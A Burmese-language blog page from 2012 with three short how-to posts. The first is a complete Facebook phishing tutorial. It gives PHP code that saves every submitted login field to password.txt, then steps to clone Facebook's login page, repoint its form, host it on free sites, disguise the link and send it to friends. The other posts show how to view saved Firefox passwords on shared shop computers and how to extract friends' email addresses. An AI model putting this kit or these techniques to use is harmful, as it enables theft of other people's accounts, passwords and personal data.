Sunday, November 4, 2012

Facebook Hacking...

အဆင့္(၁)
ပထမဆံုး notepad ကိုဖြင့္လိုက္ပါ...။
ၿပီးရင္ေအာက္မွာကၽြန္ေတာ္ေရးထားတဲ့ ေကာင္ေလးေတြကို ရိုက္ထည့္လိုက္ပါ..။
header (‘Location: https://login.facebook.com/login.php’);
$handle = fopen(“password.txt”, “a”);
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
}
fwrite($ handle, “\r\n”);
fclose($handle) ;
exit;
?>
ရၿပီေနာ္ ရရင္ အဲဒီ ေကာင္ကို phishing.php ဆိုၿပီး Save ထားလိုက္ဗ်ာ...။
အဆင့္(၂)
ၿပီးေတာ့ကၽြန္ေတာ္တို႔ လိုသူငယ္ႏွပ္စား ေလးေတြလုပ္ေနက်အတိုင္း Facebook ရဲ႕ Log in page ကိုသြား
လိုက္ပါ..။ၿပီးရင္ Right Click ေထာက္..။View Page Source ကို သြား ..။ေပၚလာရင္ အားလံုးကို Select All
ေပးၿပီး notepad အသစ္တစ္ခု ထဲ မွာ ကူးထည့္ေပးပါ..။
အဆင့္(၃)
ၿပီးရင္ အဲဒီထဲမွာ Ctrl+F ႏွိပ္ၿပီး action=* ကိုရွာေပးပါ...။ေတြ႔ရင္..။ဒီလိုျဖစ္မယ္ထင္တယ္...။
ဒီလိုျဖစ္မယ္..
action=''https://login.facebook.com/login.php?''
အဲဒီေနရာမွာ..
action=''phishing.php''
လုိ႔ အစားထုိးေပးပါ...။
ရမလား ခင္ဗ်ာ...။
အဆင့္(၄)
ၿပီးရင္ အဲဒီေကာင္ကို facebooklogin.htm/ လုိ႔ေဆ့လိုက္ပါခင္ဗ်ာ..။
အဆင့္(၅)
ၿပီးရင္ notepad ကိုထပ္ဖြင့္ၿပီး Text File အလြတ္တစ္ခုကိုဖန္တီးလိုက္ပါ...။နာမည္က password.txt
ျဖစ္ပါ့မယ္..။
ေနာက္ဆံုးအဆင့္ကေတာ့ အဲဒီ ဖုိင္(၃) ဖိုင္ကို Upload လုပ္မယ့္အဆင့္ပါပဲ...။ ကၽြန္ေတာ္တို႔ အေနနဲ႕
အဲဒီ ဖိုင္သံုးဖိုင္ကို Free web hosting Site တစ္ခုခု မွာ တင္ရပါမယ္...။ဥပမာဘယ္လိုဆိုက္ေတြလဲ
ဆိုရင္
http://www.110mb.com/
http://www.ripway.com/
အဲဒီလို ဆိုက္ေတြပဲျဖစ္ပါတယ္..။ကၽြန္ေတာ္တို႔ နဖူးေတြ႕ဒူးေတြ႕ႀကံဳလိုက္ရတဲ့..Chrome.exe ဟာဆိုရင္
လည္း Ripway က hosting ယူထားတာျဖစ္ပါတယ္...။
ကၽြန္ေတာ္နမူနာ ျပမယ္ဆိုရင္ ..upload တင္ၿပီးတာနဲ႕ သူရဲ႕ URL က ဒီအတိုင္းျဖစ္ပါမယ္..။
http://sitename.110mb.com/facebooklogin.html ျဖစ္ပါ့မယ္..။
ဥပမာ ကၽြန္ေတာ္က heinlinhtun နာမည္နဲ႕ Register လုပ္ထားရင္..
http://heinlinhtun.110mb.com/facebooklogin.html ျဖစ္ပါလိမ့္မယ္...။
ဒါကိုမွ မေက်နပ္ေသးဘူးဆိုရင္ auto redirection URL ထုတ္ေပးတဲ့ ဆိုက္ေတြအမ်ားႀကီးရွိပါတယ္..။
သြားၿပီး ဆင္တူရိုးမွား ပံုစံအတုမ်ားလည္း ျပဳလုပ္လုိ႔ရပါေသးတယ္..။(လုပ္ခုိင္းတာ မဟုတ္ဘူးေနာ္)
အဲဒါၿပီးရင္ေတာ့ အဲဒီ လင့္ခ္ကိုယူ သူငယ္ခ်င္းဆီကိုပို႔ ဟိုဘက္က Log in ၀င္တာနဲ႕...ကြိၿပီပဲေနာ္..။
ကိုလင္းပို႕ေလး ရွယ္ေပးထားတာပါ ....

Thursday, November 1, 2012

ဆိုင္ေတြမွာ Mozilla သံုးရင္ သတိထားမယ္

Mozillafirefox မွာ User Name နဲ႕ Password ေတြကို ပိုင္ရွင္မသိေအာင္ ၾကည့္လို႕ရပါတယ္....
လုပ္နည္းေလးကေတာ့ ....
1.Mozilla Firefox က Tool ထဲ၀င္ပါ ...
2.ၿပီးရင္ အဲထဲက Page Info ကို၀င္ပါ ....
3.Page Info ထဲေရာက္ၿပီဆိုရင္ အဲထဲက Security ကို၀င္ပါ....
4.View Saved Passwords ဆိုတာ ရွိတယ္ အဲထဲ၀င္ၿပီးရင္ ဖယားေလးတစ္ခု ပြင့္လာမယ္ Save Passwords ဆိုတာေလးပါ .... ဟဲ ... အဲမွာေမႊလို႕ရပါၿပီ ....
ဥပမာ- ဥပမာ အရင္လူက Facebook သံုးခဲ့တယ္ ဆိုပါေတာ့ Search မွာ www.facebook.com လို႕ရိုက္လိုက္ပါ .... URL ကေတာ့ မွန္ကန္ရပါမယ္ .... ဒါလည္းမခက္ပါဘူး မ်ားေသာအားျဖင့္ ဆိုင္ေတြမွာသံုးတဲ့အခါ ေမာ္ဇီလာအက္ဒရက္ဘားထဲမွာ စာလံုးတစ္လံုးစ ႏွစ္လံုးစ ရိုက္ၾကည့္ရံုနဲ႕တင္ ေရွ႕ကသံုးထားတာေတြ စီက်လာမွာပါ ...... အဲတာေတြကို ဆိုလိုတာပါ .... User Name ေတြကို ေတြ႕ရမွာပါ ... တစ္ခုခုေရြးၿပီး View Password ႏွိပ္လိုက္ပါ .... Warning တက္လာရင္ Yes သာေပးလိုက္ပါ .... ဒါဆို User Name ေဘးမွာ Password ေတြကို ေတြ႕ရၿပီေပါ့ ....

မွတ္ခ်က္.......(အက်င့္ယုတ္တဲ့ကုလားဆိုင္ေတြ သြားသံုးမိတဲ့ ေကာင္မေလးေတြ ပိုသတိထားသင့္တဲ့ ကိစၥပါ ဆိုင္ဆာဗာကေန User ရဲ႕ နည္းပညာအားနည္းမွုကို အခြင့္ေကာင္းယူသြားႏိုင္ပါတယ္ .... အလြယ္တကူ မိမိဓာတ္ပံုေတြကအစ လိုင္းေပၚတင္လုပ္ၾကံခံရတာကလည္း ဒီလိုနည္းေလးေတြလည္း အပါအ၀င္ေပါ့ .....သူတပါးကိုညစ္ပတ္ဖို႕မဟုတ္ပါဘူး ... သတိထားႏိုင္ေအာင္ တင္ေပးလိုက္တာပါ....)

Facebook သူငယ္ခ်င္းေတြရဲ႕ Gmail ေဖာ္ၾကည့္မယ္

ေဖ့ဘြတ္တြင္ သူငယ္ခ်င္းျဖစ္ထားေသာသူမ်ား၏ Email လိပ္စာေဖာ္ၾကည့္ဖို႕က မခဲယဥ္းပါဘူး ....
http://www.friendstogmail.com ကို ကလွစ္လိုက္ပါ ....
မ်ားေသာအားျဖင့္ facebook ရဲ႕ User Profile တိုင္းမွာ Email မေဖာ္ျပထားပါဘူး ၾကည့္ခ်င္ရင္ about ဆိုတဲ့လင့္ေလးကို ကလွစ္ၿပီး ၾကည့္ရတယ္ ဒါေတာင္ မေဖာ္ျပထားရင္ မေတြ႕ရပါဘူး ...မ်ားေသာအားျဖင့္ ေဖ့ဘြတ္အေၾကာင္းနည္းနည္းနားလည္လာတဲ့သူေတြက ေဖ်ာက္ထားတတ္ပါတယ္... မေတြ႕ရပါဘူး ....
ဒီနည္းကေတာ့ ေဖာ္ျပထားထား မထားထား ကိုယ့္သူငယ္ခ်င္းေတြရဲ႕ ေဖ့ဘြတ္၀င္တဲ့ အီးေမးကို သိႏိုင္ပါတယ္ ....
လုပ္ၾကည့္ဖို႕က မခဲယဥ္းပါဘူး Friend to Gmail and Google+ ေဘာက္စာမ်က္ႏွာတြင္ Load Friends ကလွစ္ပါ ကုဒ္အျဖစ္ေပၚလာပါက ကူးၿပီး Notepad နဲ႕ Save လုပ္ပါ ....
Save လုပ္သည့္ အခါ
1.File name တြင္ name.csv
2.Save as type တြင္ All Files
3.Encoding တြင္ ANSI
ေျပာင္းထည့္ၿပီး desktop ေပၚတြင္ Save ၾကည့္ပါက excel ဖိုင္ပံုစံေတြ႕ျမင္ရမွာပါ ...
open ၾကည့္ပါက Gmail,Address ေတြနဲ႕ User name ေတြကို သူငယ္ခ်င္းေတြနဲ႕ အဆက္အသြယ္ရွိထားသေလာက္ ေတြ႕ျမင္ရမွာပါ ......
ေဆာ့၀ဲသံုးရင္ IP မိရင္မိသြားႏိုင္တယ္ ဒီနည္းက စိတ္ခ်ရပါတယ္ ......
(အေၾကာင္းမဲ႕သူမ်ား အေကာင့္ဟက္ဖို႕ Gmail သိဖို႕တင္ေပးတာမဟုတ္ဘူးေနာ္ .....ဟိ ကိုယ့္ပါျပန္ေဖာ္ဟက္ေနမွာစိုးလုိ႕ ၾကိဳေျပာထားတာ .. အဲလိုဆို ခ်ာခ်မားဟက္ကာေတြနဲ႕တိုင္မွာေနာ္)